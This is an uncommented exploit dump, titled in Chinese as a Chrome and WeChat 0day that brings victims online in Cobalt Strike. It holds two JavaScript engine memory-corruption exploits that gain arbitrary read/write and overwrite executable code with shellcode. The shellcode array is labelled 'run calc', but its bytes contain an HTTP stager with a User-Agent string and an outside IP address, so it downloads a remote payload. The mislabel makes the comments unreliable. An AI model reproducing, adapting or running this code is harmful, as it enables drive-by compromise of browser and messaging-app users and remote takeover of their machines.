chrome(最新版可用) 0day上线cs & wx 0day上线

<script>     function gc() {       for (var i = 0; i < 0x80000; ++i) {           var a = new ArrayBuffer();      }  }   let shellcode = [];   var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);   var wasmModule = new WebAssembly.Module(wasmCode);   var wasmInstance = new WebAssembly.Instance(wasmModule);   var main = wasmInstance.exports.main;   var bf = new ArrayBuffer(8);   var bfView = new DataView(bf);   function fLow(f) {       bfView.setFloat64(0, f, true);       return (bfView.getUint32(0, true));  }   function fHi(f) {       bfView.setFloat64(0, f, true);       return (bfView.getUint32(4, true))  }   function i2f(low, hi) {       bfView.setUint32(0, low, true);       bfView.setUint32(4, hi, true);       return bfView.getFloat64(0, true);  }   function f2big(f) {       bfView.setFloat64(0, f, true);       return bfView.getBigUint64(0, true);  }   function big2f(b) {       bfView.setBigUint64(0, b, true);       return bfView.getFloat64(0, true);  }   class LeakArrayBuffer extends ArrayBuffer {       constructor(size) {           super(size);           this.slot = 0xb33f;      }  }   function foo(a) {       let x = -1;       if (a) x = 0xFFFFFFFF;       var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));       arr.shift();       let local_arr = Array(2);       local_arr[0] = 5.1;//4014666666666666       let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8       arr[0] = 0x1122;       return [arr, local_arr, buff];  }   for (var i = 0; i < 0x10000; ++i)       foo(false);   gc(); gc();  [corrput_arr, rwarr, corrupt_buff] = foo(true);   corrput_arr[12] = 0x22444;   delete corrput_arr;   function setbackingStore(hi, low) {       rwarr[4] = i2f(fLow(rwarr[4]), hi);       rwarr[5] = i2f(low, fHi(rwarr[5]));  }   function leakObjLow(o) {       corrupt_buff.slot = o;       return (fLow(rwarr[9]) - 1);  }   let corrupt_view = new DataView(corrupt_buff);   let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);   let idx0Addr = corrupt_buffer_ptr_low - 0x10;   let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;   let delta = baseAddr + 0x1c - idx0Addr;   if ((delta % 8) == 0) {       let baseIdx = delta / 8;       this.base = fLow(rwarr[baseIdx]);  } else {       let baseIdx = ((delta - (delta % 8)) / 8);       this.base = fHi(rwarr[baseIdx]);  }   let wasmInsAddr = leakObjLow(wasmInstance);   setbackingStore(wasmInsAddr, this.base);   let code_entry = corrupt_view.getFloat64(13 * 8, true);   setbackingStore(fLow(code_entry), fHi(code_entry));   for (let i = 0; i < shellcode.length; i++) {       corrupt_view.setUint8(i, shellcode[i]);  }   main();</script>

ENABLE_LOG = true;IN_WORKER = true;

// run calc and hang in a loopvar shellcode = [ 0xfc, 0xe8, 0x89, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xd2, 0x64, 0x8b, 0x52, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf0, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x42, 0x3c, 0x01, 0xd0, 0x8b, 0x40, 0x78, 0x85, 0xc0, 0x74, 0x4a, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x8b, 0x58, 0x20, 0x01, 0xd3, 0xe3, 0x3c, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0x31, 0xc0, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf4, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe2, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x58, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x86, 0x5d, 0x68, 0x6e, 0x65, 0x74, 0x00, 0x68, 0x77, 0x69, 0x6e, 0x69, 0x54, 0x68, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x31, 0xff, 0x57, 0x57, 0x57, 0x57, 0x57, 0x68, 0x3a, 0x56, 0x79, 0xa7, 0xff, 0xd5, 0xe9, 0xa4, 0x00, 0x00, 0x00, 0x5b, 0x31, 0xc9, 0x51, 0x51, 0x6a, 0x03, 0x51, 0x51, 0x68, 0xcb, 0x28, 0x00, 0x00, 0x53, 0x50, 0x68, 0x57, 0x89, 0x9f, 0xc6, 0xff, 0xd5, 0x50, 0xe9, 0x8c, 0x00, 0x00, 0x00, 0x5b, 0x31, 0xd2, 0x52, 0x68, 0x00, 0x32, 0xc0, 0x84, 0x52, 0x52, 0x52, 0x53, 0x52, 0x50, 0x68, 0xeb, 0x55, 0x2e, 0x3b, 0xff, 0xd5, 0x89, 0xc6, 0x83, 0xc3, 0x50, 0x68, 0x80, 0x33, 0x00, 0x00, 0x89, 0xe0, 0x6a, 0x04, 0x50, 0x6a, 0x1f, 0x56, 0x68, 0x75, 0x46, 0x9e, 0x86, 0xff, 0xd5, 0x5f, 0x31, 0xff, 0x57, 0x57, 0x6a, 0xff, 0x53, 0x56, 0x68, 0x2d, 0x06, 0x18, 0x7b, 0xff, 0xd5, 0x85, 0xc0, 0x0f, 0x84, 0xca, 0x01, 0x00, 0x00, 0x31, 0xff, 0x85, 0xf6, 0x74, 0x04, 0x89, 0xf9, 0xeb, 0x09, 0x68, 0xaa, 0xc5, 0xe2, 0x5d, 0xff, 0xd5, 0x89, 0xc1, 0x68, 0x45, 0x21, 0x5e, 0x31, 0xff, 0xd5, 0x31, 0xff, 0x57, 0x6a, 0x07, 0x51, 0x56, 0x50, 0x68, 0xb7, 0x57, 0xe0, 0x0b, 0xff, 0xd5, 0xbf, 0x00, 0x2f, 0x00, 0x00, 0x39, 0xc7, 0x75, 0x07, 0x58, 0x50, 0xe9, 0x7b, 0xff, 0xff, 0xff, 0x31, 0xff, 0xe9, 0x91, 0x01, 0x00, 0x00, 0xe9, 0xc9, 0x01, 0x00, 0x00, 0xe8, 0x6f, 0xff, 0xff, 0xff, 0x2f, 0x72, 0x61, 0x31, 0x58, 0x00, 0xe2, 0x26, 0x9e, 0x3e, 0x30, 0xe8, 0xbe, 0xf9, 0x07, 0x26, 0x0c, 0xb7, 0x29, 0xcf, 0x9f, 0x0c, 0x71, 0x33, 0x42, 0x56, 0x55, 0x84, 0x12, 0x2d, 0x72, 0x24, 0x7d, 0x1c, 0xc6, 0xfe, 0x08, 0x22, 0xb5, 0x2b, 0x9a, 0xcb, 0x7b, 0x3e, 0x85, 0x07, 0xb8, 0xfc, 0xa4, 0x88, 0xe9, 0xe9, 0xae, 0x3f, 0x73, 0xaf, 0xe0, 0xca, 0x08, 0x0b, 0x12, 0x3a, 0xe9, 0x74, 0x31, 0x19, 0x8a, 0x58, 0xa4, 0xc5, 0xfb, 0x90, 0x80, 0xd5, 0xe8, 0x04, 0xbb, 0x71, 0x2b, 0x00, 0x55, 0x73, 0x65, 0x72, 0x2d, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x3a, 0x20, 0x4d, 0x6f, 0x7a, 0x69, 0x6c, 0x6c, 0x61, 0x2f, 0x34, 0x2e, 0x30, 0x20, 0x61, 0x74, 0x69, 0x62, 0x6c, 0x65, 0x3b, 0x20, 0x4d, 0x53, 0x49, 0x45, 0x20, 0x37, 0x2e, 0x30, 0x3b, 0x20, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x4e, 0x54, 0x20, 0x35, 0x2e, 0x31, 0x3b, 0x20, 0x2e, 0x4e, 0x45, 0x54, 0x20, 0x43, 0x4c, 0x52, 0x20, 0x32, 0x2e, 0x30, 0x2e, 0x35, 0x30, 0x37, 0x32, 0x37, 0x29, 0x0d, 0x0a, 0x00, 0x5c, 0x06, 0x71, 0x87, 0x72, 0x72, 0xb2, 0x05, 0x6b, 0x32, 0x1e, 0xcf, 0x09, 0x1a, 0x41, 0x36, 0xba, 0x6d, 0xe1, 0x1e, 0xe2, 0x4f, 0x33, 0xc8, 0x96, 0xc0, 0x8a, 0x6e, 0x3f, 0x34, 0x89, 0xbc, 0x44, 0x4c, 0x53, 0xf8, 0xb4, 0x8b, 0xe5, 0x88, 0x1b, 0x84, 0x78, 0x30, 0xe7, 0x1e, 0x1b, 0xde, 0xb8, 0x2b, 0x50, 0x77, 0x17, 0x3e, 0x15, 0xb4, 0x7a, 0x61, 0x1c, 0xde, 0xb9, 0x78, 0x67, 0x81, 0x91, 0x5f, 0x2a, 0x9b, 0x7a, 0x7a, 0xc4, 0xd4, 0x6d, 0xb4, 0x69, 0xdf, 0xa3, 0xb8, 0xf4, 0x18, 0x26, 0x50, 0x66, 0x88, 0xbd, 0xf7, 0x5c, 0xfc, 0xb6, 0xfd, 0xd2, 0x63, 0xe5, 0x16, 0x79, 0x1a, 0x10, 0x13, 0xfa, 0x15, 0xb8, 0x96, 0x58, 0x5b, 0x7e, 0x1e, 0xd2, 0xd9, 0x4b, 0xe9, 0xb6, 0x4a, 0x58, 0xa6, 0x93, 0x7f, 0xb6, 0x41, 0xc8, 0xd6, 0x2a, 0xb4, 0x0b, 0x15, 0xb9, 0xb7, 0xe6, 0xef, 0xd6, 0xca, 0xc7, 0xf0, 0x30, 0xbd, 0xef, 0xcf, 0x2d, 0x63, 0x61, 0x03, 0xf3, 0x49, 0x3b, 0x88, 0x72, 0x66, 0x23, 0x22, 0xb8, 0x91, 0x8d, 0xb8, 0xb2, 0x4f, 0x21, 0xaf, 0x93, 0x5c, 0x5a, 0x67, 0x12, 0xb5, 0xa7, 0x06, 0xa8, 0xde, 0xf7, 0xe5, 0x41, 0xca, 0x50, 0x47, 0xcc, 0x84, 0xb9, 0x6b, 0x05, 0x09, 0x83, 0x1a, 0xa7, 0xa1, 0x3a, 0x03, 0x75, 0x60, 0xf5, 0xf4, 0xba, 0x08, 0x02, 0x99, 0x8e, 0xfa, 0xc8, 0x72, 0xf5, 0xdc, 0x9b, 0x46, 0xda, 0x5a, 0xbf, 0x1e, 0x13, 0x11, 0xf8, 0xfa, 0x92, 0x28, 0x23, 0x70, 0xd0, 0x79, 0x96, 0x19, 0x8c, 0x38, 0x00, 0x68, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5, 0x6a, 0x40, 0x68, 0x00, 0x10, 0x00, 0x00, 0x68, 0x00, 0x00, 0x40, 0x00, 0x57, 0x68, 0x58, 0xa4, 0x53, 0xe5, 0xff, 0xd5, 0x93, 0xb9, 0x00, 0x00, 0x00, 0x00, 0x01, 0xd9, 0x51, 0x53, 0x89, 0xe7, 0x57, 0x68, 0x00, 0x20, 0x00, 0x00, 0x53, 0x56, 0x68, 0x12, 0x96, 0x89, 0xe2, 0xff, 0xd5, 0x85, 0xc0, 0x74, 0xc6, 0x8b, 0x07, 0x01, 0xc3, 0x85, 0xc0, 0x75, 0xe5, 0x58, 0xc3, 0xe8, 0x89, 0xfd, 0xff, 0xff, 0x34, 0x35, 0x2e, 0x31, 0x39, 0x35, 0x2e, 0x31, 0x35, 0x33, 0x2e, 0x31, 0x39, 0x39, 0x00, 0x6f, 0xaa, 0x51, 0xc3 ];

function print(data) {}



var not_optimised_out = 0;var target_function = (function (value) {    if (value == 0xdecaf0) {        not_optimised_out += 1;    }    not_optimised_out += 1;    not_optimised_out |= 0xff;    not_optimised_out *= 12;});

for (var i = 0; i < 0x10000; ++i) {    target_function(i);}



var g_array;var tDerivedNCount = 17 * 87481 - 8;var tDerivedNDepth = 19 * 19;

function cb(flag) {    if (flag == true) {        return;    }    g_array = new Array(0);    g_array[0] = 0x1dbabe * 2;    return 'c01db33f';}

function gc() {    for (var i = 0; i < 0x10000; ++i) {        new String();    }}

function oobAccess() {    var this_ = this;    this.buffer = null;    this.buffer_view = null;

    this.page_buffer = null;    this.page_view = null;

    this.prevent_opt = [];

    var kSlotOffset = 0x1f;    var kBackingStoreOffset = 0xf;

    class LeakArrayBuffer extends ArrayBuffer {        constructor() {            super(0x1000);            this.slot = this;        }    }

    this.page_buffer = new LeakArrayBuffer();    this.page_view = new DataView(this.page_buffer);

    new RegExp({ toString: function () { return 'a' } });    cb(true);

    class DerivedBase extends RegExp {        constructor() {            // var array = null;            super(                // at this point, the 4-byte allocation for the JSRegExp `this` object                // has just happened.                {                    toString: cb                }, 'g'                // now the runtime JSRegExp constructor is called, corrupting the                // JSArray.            );

            // this allocation will now directly follow the FixedArray allocation            // made for `this.data`, which is where `array.elements` points to.            this_.buffer = new ArrayBuffer(0x80);            g_array[8] = this_.page_buffer;        }    }

    // try{    var derived_n = eval(`(function derived_n(i) {        if (i == 0) {            return DerivedBase;        }

        class DerivedN extends derived_n(i-1) {            constructor() {                super();                return;                ${"this.a=0;".repeat(tDerivedNCount)}            }        }

        return DerivedN;    })`);

    gc();



    new (derived_n(tDerivedNDepth))();

    this.buffer_view = new DataView(this.buffer);    this.leakPtr = function (obj) {        this.page_buffer.slot = obj;        return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);    }

    this.setPtr = function (addr) {        this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);    }

    this.read32 = function (addr) {        this.setPtr(addr);        return this.page_view.getUint32(0, true, ...this.prevent_opt);    }

    this.write32 = function (addr, value) {        this.setPtr(addr);        this.page_view.setUint32(0, value, true, ...this.prevent_opt);    }

    this.write8 = function (addr, value) {        this.setPtr(addr);        this.page_view.setUint8(0, value, ...this.prevent_opt);    }

    this.setBytes = function (addr, content) {        for (var i = 0; i < content.length; i++) {            this.write8(addr + i, content[i]);        }    }    return this;}

function trigger() {    var oob = oobAccess();

    var func_ptr = oob.leakPtr(target_function);    print('[*] target_function at 0x' + func_ptr.toString(16));

    var kCodeInsOffset = 0x1b;

    var code_addr = oob.read32(func_ptr + kCodeInsOffset);    print('[*] code_addr at 0x' + code_addr.toString(16));

    oob.setBytes(code_addr, shellcode);

    target_function(0);}

try{    print("start running");    trigger();}catch(e){    print(e);}